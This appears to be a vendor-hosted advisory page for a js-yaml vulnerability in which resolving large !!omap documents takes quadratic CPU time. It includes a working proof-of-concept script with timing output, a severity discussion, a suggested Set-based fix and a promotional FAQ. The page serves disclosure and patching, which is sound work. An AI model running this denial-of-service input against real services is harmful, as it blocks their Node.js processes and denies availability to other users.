GHSA-5P4M-2WFM-XMQJ

JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x), CVE-2026-59870 fix not backported

if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false

if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)

// poc.js ,  node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';

for (const n of [10000, 20000, 40000, 80000]) {
  const d = doc(n), t = Date.now();
  yaml.load(d);                      // default schema, no options
  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}

n=10000  bytes=137787   load=54ms
n=20000  bytes=297787   load=169ms
n=40000  bytes=617787   load=646ms
n=80000  bytes=1257787  load=2607ms

n=10000  bytes=137787   load=53ms
n=20000  bytes=297787   load=166ms
n=40000  bytes=617787   load=641ms
n=80000  bytes=1257787  load=2567ms

Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be
stalled with a small input. Because the loop is synchronous, a single request
blocks the Node.js event loop and stalls every other request in the process ,
so the amplification is per-process, not just per-request.

Suggested severity: consistent with CVE-2026-59870 (the same weakness in
5.x), i.e. Availability-only impact, network attack vector, no privileges or
user interaction required.

GHSA-5P4M-2WFM-XMQJ has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.3.1, 3.15.1); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Mirror the 5.x fix, replace the linear scan with a Set:

// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)

This preserves the existing duplicate-key rejection semantics exactly while
making resolution O(n). A maxOmapLength-style cap would also work, but the
Set matches what 5.x already ships and requires no new option.

1. What is GHSA-5P4M-2WFM-XMQJ? GHSA-5P4M-2WFM-XMQJ is a high-severity security vulnerability in js-yaml (npm), affecting versions >= 4.0.0, < 4.3.1. It is fixed in 4.3.1, 3.15.1.
2. How severe is GHSA-5P4M-2WFM-XMQJ? GHSA-5P4M-2WFM-XMQJ has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of js-yaml are affected by GHSA-5P4M-2WFM-XMQJ? js-yaml (npm) versions >= 4.0.0, < 4.3.1 is affected.
4. Is there a fix for GHSA-5P4M-2WFM-XMQJ? Yes. GHSA-5P4M-2WFM-XMQJ is fixed in 4.3.1, 3.15.1. Upgrade to this version or later.
5. Is GHSA-5P4M-2WFM-XMQJ exploitable, and should I be worried? Whether GHSA-5P4M-2WFM-XMQJ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-5P4M-2WFM-XMQJ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-5P4M-2WFM-XMQJ?
   • Upgrade js-yaml to 4.3.1 or later
   • Upgrade js-yaml to 3.15.1 or later

Other vulnerabilities in js-yaml